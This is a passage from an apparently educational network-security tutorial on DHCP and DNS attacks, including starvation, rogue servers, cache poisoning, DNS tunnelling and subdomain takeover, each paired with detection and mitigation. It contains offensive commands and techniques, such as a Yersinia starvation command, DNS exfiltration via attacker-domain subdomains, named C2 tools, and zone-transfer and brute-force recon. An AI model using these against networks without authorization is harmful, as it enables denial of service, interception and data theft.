&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 DHCP Attacks
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DHCP Starvation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Attack:
  Attacker sends thousands of DHCP DISCOVER messages
  Each with a different spoofed MAC address &lt;span class="o"&gt;(&lt;/span&gt;Option 61: Client Identifier&lt;span class="o"&gt;)&lt;/span&gt;
  DHCP server allocates one IP per request
  IP pool is exhausted
  Legitimate clients receive no IP addresses → DoS

Tool: dhcpstarv, Yersinia
  &lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia dhcp &lt;span class="nt"&gt;-attack&lt;/span&gt; 1    &lt;span class="c"&gt;# DHCP starvation&lt;/span&gt;

Detection:
  DHCP server logs show massive number of DISCOVER/OFFER pairs
  Short &lt;span class="nb"&gt;time &lt;/span&gt;between pool exhaustion events
  Many entries &lt;span class="k"&gt;in &lt;/span&gt;DHCP lease table with sequential MAC addresses &lt;span class="o"&gt;(&lt;/span&gt;00:0c:29:xx:xx:xx format&lt;span class="o"&gt;)&lt;/span&gt;

Mitigation:
  DHCP snooping on switches: limits DHCP messages per port per second
  Cisco: ip dhcp snooping limit rate 15  &lt;span class="o"&gt;(&lt;/span&gt;15 DHCP packets/second max per port&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rogue DHCP Server:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Attack:
  Attacker deploys their own DHCP server on the network
  Responds to DISCOVER messages faster than the legitimate server
  Clients accept the first OFFER received
  Attacker&lt;span class="s1"&gt;'s OFFER configures:
    - Client'&lt;/span&gt;s gateway: attacker&lt;span class="s1"&gt;'s IP → all traffic through attacker (MITM)
    - Client'&lt;/span&gt;s DNS: attacker&lt;span class="s1"&gt;'s DNS server → DNS hijacking
    - Client'&lt;/span&gt;s routes &lt;span class="o"&gt;(&lt;/span&gt;Option 121&lt;span class="o"&gt;)&lt;/span&gt;: attacker&lt;span class="s1"&gt;'s routes

This is the complete network takeover without touching a single firewall.

Detection:
  Multiple DHCP servers advertising on the network
  dhcpdump: capture all DHCP traffic and alert on unexpected server IPs
  DHCP snooping: designate trusted ports — only allow DHCP OFFER from trusted

Cisco DHCP snooping:
  ip dhcp snooping vlan 10          # Enable for VLAN 10
  ip dhcp snooping                  # Enable globally
  interface gi0/1
   ip dhcp snooping trust           # Uplink to real DHCP server — trusted
  interface gi0/2                   # User-facing ports — untrusted by default
   (DHCP OFFER from this port is dropped)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPAD — Web Proxy Auto-Discovery (DHCP Option 252):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack chain:
1. DHCP server (rogue or legitimate) includes Option 252:
   wpad=http://wpad.company.local/wpad.dat
2. Browser fetches wpad.dat automatically
3. Attacker controls wpad.dat content
4. wpad.dat configures browser to use attacker as proxy
5. Attacker proxies and MITMs all HTTP/HTTPS traffic

Defence:
  Disable WPAD in browser settings
  Block port 80/8080 outbound to unknown hosts
  DHCP snooping prevents rogue DHCP from serving WPAD URL
  DNS: ensure wpad.&amp;lt;domain&amp;gt; does not resolve to attacker-controlled IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DHCP monitoring and analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Monitor all DHCP traffic&lt;/span&gt;

&lt;span class="c"&gt;# Capture DHCP traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'port 67 or port 68'&lt;/span&gt;

&lt;span class="c"&gt;# Check DHCP lease information on Linux:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/dhcp/dhclient.leases   &lt;span class="c"&gt;# DHCP lease file&lt;/span&gt;
dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1               &lt;span class="c"&gt;# Verbose DHCP negotiation&lt;/span&gt;

&lt;span class="c"&gt;# On Windows:&lt;/span&gt;
ipconfig /all                       &lt;span class="c"&gt;# Shows DHCP server IP, lease times&lt;/span&gt;
ipconfig /release                   &lt;span class="c"&gt;# Release current IP&lt;/span&gt;
ipconfig /renew                     &lt;span class="c"&gt;# Get new IP from DHCP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; DHCP is trusted implicitly by every OS — there is no authentication mechanism. The first server to respond wins. This means physical network access (plugging into an Ethernet port or connecting to Wi-Fi) combined with a rogue DHCP server grants an attacker full network MITM capability without any exploit. DHCP snooping is the only reliable mitigation, and it requires managed switch infrastructure.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. DNS — How Names Become Addresses
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 The DNS Hierarchy
&lt;/h3&gt;

&lt;p&gt;DNS is a globally distributed, hierarchical database. Understanding its structure is essential because attacks target every level of the hierarchy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DNS Hierarchy:
                          . (Root)
                         / \
                        /   \
                      .com  .org  .net  .tr  .io  ...
                      /
                  google.com
                  /          \
           www.google.com   mail.google.com

Authoritative name servers exist at every level:
  Root: 13 root server clusters (a.root-servers.net through m.root-servers.net)
  TLD:  .com managed by Verisign, .org by PIR, .tr by NIC.tr, etc.
  Domain: google.com managed by Google's own nameservers (ns1.google.com, etc.)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 DNS Resolution — The Complete Process
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Query: What is the IP address of www.example.com?

1. Client checks local DNS cache → not found
   (Linux: /etc/hosts → /etc/nsswitch.conf → resolver)

2. Client queries configured resolver (stub resolver)
   Usually: ISP's DNS, 8.8.8.8, 1.1.1.1, or internal DNS server
   Type: Recursive query ("find the answer for me, wherever it is")

3. Resolver checks its cache → not found (assume cold start)

4. Resolver queries ROOT servers (hardcoded list of 13 clusters)
   Question: "Who handles .com?"
   Root response: "Ask c.gtld-servers.net (192.26.92.30) for .com"
   (Non-recursive, referral response)

5. Resolver queries .com TLD server (c.gtld-servers.net)
   Question: "Who handles example.com?"
   TLD response: "Ask ns1.example.com (93.184.216.x) for example.com"
   (Non-recursive, referral response)

6. Resolver queries example.com's authoritative server (ns1.example.com)
   Question: "What is the IP of www.example.com?"
   Auth server response: "www.example.com → 93.184.216.34 (A record, TTL=86400)"
   (Authoritative answer)

7. Resolver caches the answer for TTL seconds (86400 = 24 hours)
   Resolver sends answer to client

8. Client caches the answer for TTL seconds
   Client connects to 93.184.216.34

Total time: typically 50-300ms for cold query, &amp;lt;1ms for cached
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 DNS Security Mechanisms
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DNSSEC — DNS Security Extensions:&lt;/strong&gt;&lt;br&gt;
DNSSEC adds cryptographic signatures to DNS records. The resolver can verify that the answer came from the legitimate authoritative server and was not tampered with.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DNSSEC chain of trust:
  Root &lt;span class="o"&gt;(&lt;/span&gt;.&lt;span class="o"&gt;)&lt;/span&gt; signs .com
  .com signs example.com
  example.com signs www.example.com record

Without DNSSEC: anyone &lt;span class="nb"&gt;who &lt;/span&gt;controls the network path can lie about DNS
With DNSSEC: forged records are rejected &lt;span class="o"&gt;(&lt;/span&gt;wrong signature&lt;span class="o"&gt;)&lt;/span&gt;

Check &lt;span class="k"&gt;if &lt;/span&gt;a domain is DNSSEC-signed:
dig +dnssec www.cloudflare.com AAAA    &lt;span class="c"&gt;# Look for AD flag (Authenticated Data)&lt;/span&gt;
dig DS cloudflare.com @8.8.8.8        &lt;span class="c"&gt;# Check delegation signer record&lt;/span&gt;

Check DNSSEC validation at resolver:
dig +short sigchase www.cloudflare.com  &lt;span class="c"&gt;# Full DNSSEC chain validation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DoH and DoT — Encrypted DNS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DNS over HTTPS &lt;span class="o"&gt;(&lt;/span&gt;DoH, RFC 8484&lt;span class="o"&gt;)&lt;/span&gt;:
  DNS queries sent as HTTPS requests to a DoH resolver
  Port 443 — indistinguishable from web traffic
  Prevents ISP/network-level DNS monitoring
  Prevents DNS hijacking by intermediate devices

  Disadvantage &lt;span class="k"&gt;for &lt;/span&gt;defenders: traditional DNS monitoring is blind to DoH

DNS over TLS &lt;span class="o"&gt;(&lt;/span&gt;DoT, RFC 7858&lt;span class="o"&gt;)&lt;/span&gt;:
  DNS queries encrypted with TLS
  Port 853 — distinct port, can be blocked &lt;span class="k"&gt;if &lt;/span&gt;needed
  Easier &lt;span class="k"&gt;for &lt;/span&gt;enterprises to manage than DoH

Configure DoH on Linux &lt;span class="o"&gt;(&lt;/span&gt;systemd-resolved&lt;span class="o"&gt;)&lt;/span&gt;:
  &lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/systemd/resolved.conf
  &lt;span class="c"&gt;# Add:&lt;/span&gt;
  &lt;span class="nv"&gt;DNS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.1.1.1 8.8.8.8
  &lt;span class="nv"&gt;DNSOverTLS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes
  sudo &lt;/span&gt;systemctl restart systemd-resolved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.4 DNS Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DNS Cache Poisoning:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack (Kaminsky Attack, 2008, Dan Kaminsky):
  Before the fix: DNS used sequential transaction IDs (16-bit)

  1. Attacker triggers resolver to query attacker-controlled domain
     (Forces a DNS query to flow through the process)
  2. Attacker floods resolver with forged responses:
     Claiming to be the authoritative server for "google.com"
     Each forged response has a different transaction ID
     When the attacker guesses the right ID, the poison is injected
  3. Resolver caches the fake record for TTL seconds
  4. All clients using that resolver get the fake IP for "google.com"

Fix: DNS source port randomisation + DNSSEC validation
     Resolver now uses random source port AND random transaction ID
     Probability of guessing both: 1/65535 × 1/65535 ≈ negligible

Modern DNS cache poisoning:
  Still occurs via:
  - Compromising the authoritative name server
  - BGP hijacking the IP space of the name server
  - MITM on unencrypted DNS (DoH/DoT mitigate)

Detection:
  Periodic DNS consistency checks from multiple vantage points
  Alert on TTL anomalies (poisoned records often have short/wrong TTL)
  DNSSEC validation rejects poisoned responses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS Tunnelling:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Concept: Encode arbitrary data &lt;span class="k"&gt;in &lt;/span&gt;DNS queries and responses
         DNS is allowed through most firewalls
         Data exfiltration and C2 that bypasses network controls

Mechanism:
  Exfiltration direction &lt;span class="o"&gt;(&lt;/span&gt;client → attacker&lt;span class="o"&gt;)&lt;/span&gt;:
    Encode data as subdomains: &lt;span class="nb"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;data&lt;span class="o"&gt;)&lt;/span&gt;.attacker-domain.com
    Send DNS query &lt;span class="k"&gt;for &lt;/span&gt;this &lt;span class="s2"&gt;"domain"&lt;/span&gt;
    Attacker controls the DNS server &lt;span class="k"&gt;for &lt;/span&gt;attacker-domain.com
    DNS server receives the query, decodes the data from the subdomain
    Returns a valid &lt;span class="o"&gt;(&lt;/span&gt;but irrelevant&lt;span class="o"&gt;)&lt;/span&gt; DNS response

  Command direction &lt;span class="o"&gt;(&lt;/span&gt;attacker → client&lt;span class="o"&gt;)&lt;/span&gt;:
    Attacker encodes commands &lt;span class="k"&gt;in &lt;/span&gt;DNS responses &lt;span class="o"&gt;(&lt;/span&gt;TXT records, CNAME, MX&lt;span class="o"&gt;)&lt;/span&gt;
    Malware queries &lt;span class="k"&gt;for &lt;/span&gt;specific subdomains and reads the response

Tools:
  iodine: Tunnels IP over DNS
  dnscat2: DNS-based C2 framework
  DNSExfiltrator: Data exfiltration via DNS
  Cobalt Strike: DNS C2 mode &lt;span class="o"&gt;(&lt;/span&gt;commonly used by APT &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Detection:
  High DNS query volume from a single host &lt;span class="o"&gt;(&lt;/span&gt;baseline: ~100 queries/minute normal&lt;span class="o"&gt;)&lt;/span&gt;
  DNS queries with unusually long subdomains &lt;span class="o"&gt;(&amp;gt;&lt;/span&gt;50 characters is suspicious&lt;span class="o"&gt;)&lt;/span&gt;
  DNS queries to domains with high entropy subdomain labels
  DNS queries that don&lt;span class="s1"&gt;'t correspond to network activity (no subsequent TCP connections)
  Queries for domains with randomised names (DGA — domain generation algorithm)

  # Detect long DNS queries in Wireshark:
  # Filter: dns and frame.len &amp;gt; 200

  # Command-line detection:
  sudo tcpdump -i eth0 -n '&lt;/span&gt;port 53&lt;span class="s1"&gt;' -A | grep -E '&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;A-Za-z0-9+/]&lt;span class="o"&gt;{&lt;/span&gt;20,&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s1"&gt;'

  # Passive DNS monitoring with zeek:
  # dns.log shows all DNS activity with full query names
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subdomain Takeover:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;How it happens:
  1. Company creates CNAME: blog.company.com → company.github.io
  2. Company stops using GitHub Pages but forgets to remove the CNAME
  3. company.github.io is now &lt;span class="s2"&gt;"dangling"&lt;/span&gt; — no content claimed on GitHub
  4. Attacker creates GitHub Pages account &lt;span class="k"&gt;for &lt;/span&gt;company.github.io
  5. Attacker now controls what blog.company.com serves
  6. Can serve phishing pages, malware, steal cookies &lt;span class="o"&gt;(&lt;/span&gt;same origin as company.com&lt;span class="o"&gt;)&lt;/span&gt;

High-profile impact: Subdomain takeover has been used to steal session cookies
from &lt;span class="nb"&gt;users &lt;/span&gt;visiting company subdomains, send phishing emails from legitimate
company domains, and bypass CSP policies.

Detection and prevention:
  Enumerate all DNS records and verify each CNAME target exists and is owned

  &lt;span class="c"&gt;# Tools: subjack, tko-subs, can-i-take-over-xyz (GitHub)&lt;/span&gt;
  subjack &lt;span class="nt"&gt;-w&lt;/span&gt; subdomains.txt &lt;span class="nt"&gt;-t&lt;/span&gt; 100 &lt;span class="nt"&gt;-o&lt;/span&gt; results.txt &lt;span class="nt"&gt;-ssl&lt;/span&gt;

  &lt;span class="c"&gt;# Manual check:&lt;/span&gt;
  dig CNAME blog.company.com +short           &lt;span class="c"&gt;# Find CNAME target&lt;/span&gt;
  curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://company.github.io           &lt;span class="c"&gt;# Verify target exists&lt;/span&gt;
  &lt;span class="c"&gt;# If 404 or "page not found" → potentially takeable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DNS reconnaissance toolkit:&lt;/span&gt;

&lt;span class="c"&gt;# Basic lookups:&lt;/span&gt;
dig example.com A                   &lt;span class="c"&gt;# A record (IPv4)&lt;/span&gt;
dig example.com AAAA                &lt;span class="c"&gt;# AAAA record (IPv6)&lt;/span&gt;
dig example.com MX                  &lt;span class="c"&gt;# Mail exchange&lt;/span&gt;
dig example.com TXT                 &lt;span class="c"&gt;# Text records (SPF, DKIM, DMARC, etc.)&lt;/span&gt;
dig example.com NS                  &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig example.com SOA                 &lt;span class="c"&gt;# Start of Authority&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 8.8.8.8                     &lt;span class="c"&gt;# Reverse lookup (PTR record)&lt;/span&gt;

&lt;span class="c"&gt;# Using specific DNS server:&lt;/span&gt;
dig @8.8.8.8 example.com A          &lt;span class="c"&gt;# Use Google DNS&lt;/span&gt;
dig @1.1.1.1 example.com A          &lt;span class="c"&gt;# Use Cloudflare DNS&lt;/span&gt;

&lt;span class="c"&gt;# Zone transfer attempt (often blocked, but reveals misconfigured DNS):&lt;/span&gt;
dig axfr @ns1.example.com example.com
&lt;span class="c"&gt;# If successful: dumps entire DNS zone (all records)&lt;/span&gt;
&lt;span class="c"&gt;# This is a critical misconfiguration — exposes all internal hostnames&lt;/span&gt;

&lt;span class="c"&gt;# Subdomain enumeration:&lt;/span&gt;
&lt;span class="c"&gt;# Passive (no direct queries to target):&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; example.com &lt;span class="nt"&gt;-o&lt;/span&gt; subdomains.txt    &lt;span class="c"&gt;# Uses passive sources&lt;/span&gt;
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; example.com

&lt;span class="c"&gt;# Active (queries target DNS):&lt;/span&gt;
gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; example.com &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

&lt;span class="c"&gt;# Brute force DNS with massDNS:&lt;/span&gt;
massdns &lt;span class="nt"&gt;-r&lt;/span&gt; resolvers.txt &lt;span class="nt"&gt;-t&lt;/span&gt; A &lt;span class="nt"&gt;-o&lt;/span&gt; S &lt;span class="nt"&gt;-w&lt;/span&gt; results.txt subdomains.txt

&lt;span class="c"&gt;# Check for DNSSEC:&lt;/span&gt;
dig +dnssec example.com A

&lt;span class="c"&gt;# Check SPF/DKIM/DMARC (email security):&lt;/span&gt;
dig TXT example.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf"&lt;/span&gt;
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com

&lt;span class="c"&gt;# Host discovery via reverse DNS (PTR records):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;host 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"domain name pointer"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $NF}'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. DNS Record Types — The Full Map
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 Essential DNS Record Types
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Record  Type    Description                          Security Relevance
──────────────────────────────────────────────────────────────────────────────
A       1       IPv4 address for a hostname          Primary attack target — poison this
                example.com → 93.184.216.34          = redirect all traffic

AAAA    28      IPv6 address for a hostname          Same as A but for IPv6
                example.com → 2606:2800:220:1:...    Often less monitored

MX      15      Mail server(s) for a domain          Target for: email spoofing,
                Priority + hostname                  finding mail servers to attack
                10 mail.example.com                 SPF/DKIM/DMARC use MX for context

CNAME   5       Canonical name (alias)               Dangling CNAME = subdomain takeover
                www.example.com → example.com        Multiple subdomains → single target
                                                    CDN configuration

TXT     16      Arbitrary text                       SPF: v=spf1 include:... -all
                                                    DKIM: public key for email signing
                                                    DMARC: v=DMARC1; p=reject; ...
                                                    Domain verification tokens
                                                    Can contain sensitive info (leak)

NS      2       Authoritative name servers           Compromise NS → own entire domain
                example.com NS ns1.example.com       BGP hijack NS IP → poison all records

PTR     12      Reverse DNS (IP → name)             Forensics: identify IPs in logs
                34.216.184.93.in-addr.arpa →        Email: servers without PTR rejected
                example.com                         Recon: find hostnames for IPs

SOA     6       Start of Authority                   Zone transfer: need SOA to start AXFR
                Primary NS, admin email, serials     Serial number reveals update frequency

SRV     33      Service location                     Active Directory critical:
                _kerberos._tcp.domain.com →          SRV records reveal DC location,
                priority weight port target          Kerberos port, LDAP servers
                                                    Used by attackers to find DCs without
                                                    scanning

CAA     257     Certification Authority Auth.        Restricts which CAs can issue certs
                example.com CAA "letsencrypt.org"    If missing: any CA can issue = risk

DNSKEY  48      DNSSEC public key                   Used to verify DNSSEC signatures
DS      43      Delegation Signer                   Links parent/child DNSSEC zones
RRSIG   46      Resource Record Signature           Cryptographic signature on records
NSEC    47      Next Secure (DNSSEC)                Zone walking: enumerate all records
NSEC3   50      Next Secure v3 (hashed)             Prevents zone walking

TLSA    52      TLS Authentication (DANE)            Certificate pinning via DNS
                Associate cert with domain           Requires DNSSEC

SPF     (TXT)   Sender Policy Framework             Which IPs may send email for domain
                v=spf1 ip4:1.2.3.0/24 -all         Missing SPF = email spoofing possible

DKIM    (TXT)   DomainKeys Identified Mail          Public key for email signature verification
                Public key for signature verify     Missing DKIM = email modification undetected

DMARC   (TXT)   Domain-based Message Auth.          Policy for SPF/DKIM failure
                v=DMARC1; p=reject                 p=none: monitor only
                rua=mailto:dmarc@example.com        p=quarantine: mark as spam
                                                   p=reject: reject → prevents phishing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Active Directory and DNS
&lt;/h3&gt;

&lt;p&gt;Active Directory depends critically on DNS SRV records. When a Windows machine joins a domain, it queries DNS for SRV records to find domain controllers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# These DNS queries reveal AD infrastructure:&lt;/span&gt;
dig _ldap._tcp.dc._msdcs.example.com SRV     &lt;span class="c"&gt;# Find domain controllers (LDAP)&lt;/span&gt;
dig _kerberos._tcp.dc._msdcs.example.com SRV  &lt;span class="c"&gt;# Find KDC (Kerberos)&lt;/span&gt;
dig _kpasswd._tcp.example.com SRV              &lt;span class="c"&gt;# Find Kerberos password server&lt;/span&gt;
dig _gc._tcp.example.com SRV                  &lt;span class="c"&gt;# Find Global Catalog server&lt;/span&gt;

&lt;span class="c"&gt;# Example response:&lt;/span&gt;
&lt;span class="c"&gt;# _ldap._tcp.dc._msdcs.example.com  600 IN SRV 0 100 389 dc1.example.com&lt;/span&gt;

&lt;span class="c"&gt;# This tells an attacker: DC is at dc1.example.com on port 389&lt;/span&gt;
&lt;span class="c"&gt;# No scanning required — DNS reveals the architecture&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate AD DNS from inside:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import dns.resolver
domain = 'example.com'
for srvtype in ['_ldap._tcp.dc._msdcs', '_kerberos._tcp.dc._msdcs', '_gc._tcp']:
    try:
        answers = dns.resolver.resolve(f'{srvtype}.{domain}', 'SRV')
        for rdata in answers:
            print(f'{srvtype}: {rdata}')
    except: pass
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Email Security DNS Records In Depth
&lt;/h3&gt;

&lt;p&gt;Email spoofing — sending emails that appear to come from a legitimate domain — is trivially easy without proper DNS configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SPF — Sender Policy Framework:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;TXT record at the apex domain:
  &lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;spf1 ip4:203.0.113.0/24 include:sendgrid.net include:mailchimp.com ~all

Mechanisms:
  ip4:IP/mask    → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP matches
  ip6:IP/mask    → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IPv6 matches
  a:hostname     → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP is A record of &lt;span class="nb"&gt;hostname
  &lt;/span&gt;mx             → Allow &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;source &lt;/span&gt;IP is MX record of domain
  include:domain → Check that domain&lt;span class="s1"&gt;'s SPF record too
  redirect:domain → Use another domain'&lt;/span&gt;s SPF record entirely

Qualifiers &lt;span class="o"&gt;(&lt;/span&gt;before mechanism&lt;span class="o"&gt;)&lt;/span&gt;:
  +  &lt;span class="o"&gt;(&lt;/span&gt;Pass — allow&lt;span class="o"&gt;)&lt;/span&gt;: default, usually omitted
  -  &lt;span class="o"&gt;(&lt;/span&gt;Fail — reject&lt;span class="o"&gt;)&lt;/span&gt;: hard fail
  ~  &lt;span class="o"&gt;(&lt;/span&gt;SoftFail — mark&lt;span class="o"&gt;)&lt;/span&gt;: soft fail, usually accept but mark as suspicious
  ?  &lt;span class="o"&gt;(&lt;/span&gt;Neutral&lt;span class="o"&gt;)&lt;/span&gt;: no assertion

All mechanism &lt;span class="o"&gt;(&lt;/span&gt;at end&lt;span class="o"&gt;)&lt;/span&gt;:
  &lt;span class="nt"&gt;-all&lt;/span&gt;  → Hard fail all non-matching senders &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;
  ~all  → Soft fail all non-matching &lt;span class="o"&gt;(&lt;/span&gt;less strict&lt;span class="o"&gt;)&lt;/span&gt;
  +all  → Pass all &lt;span class="o"&gt;(&lt;/span&gt;completely useless — anyone can send&lt;span class="o"&gt;)&lt;/span&gt;
  ?all  → Neutral &lt;span class="o"&gt;(&lt;/span&gt;nearly useless&lt;span class="o"&gt;)&lt;/span&gt;

Security check:
dig TXT example.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt;
&lt;span class="c"&gt;# No SPF record: anyone can spoof email from this domain&lt;/span&gt;
&lt;span class="c"&gt;# SPF with +all or ?all: SPF is essentially disabled&lt;/span&gt;
&lt;span class="c"&gt;# SPF with ~all: better, but still allows delivery&lt;/span&gt;
&lt;span class="c"&gt;# SPF with -all: strongest protection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DKIM — DomainKeys Identified Mail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TXT record at: selector._domainkey.domain.com
Example: default._domainkey.example.com

Content:
  v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

How it works:
  1. Mail server signs outgoing email with private key
  2. Signature is added as a header: DKIM-Signature: v=1; a=rsa-sha256; ...
  3. Receiving server fetches public key from DNS
  4. Receiving server verifies signature
  5. If valid: email was not modified in transit, came from claimed domain

Attack without DKIM:
  Attacker intercepts email in transit
  Modifies content (changes bank account number, inserts malware link)
  No detection possible — email arrives with original From: header

Check DKIM:
dig TXT default._domainkey.example.com
# p= field is the public key
# If empty record or no record: DKIM not deployed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DMARC — Domain-based Message Authentication:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
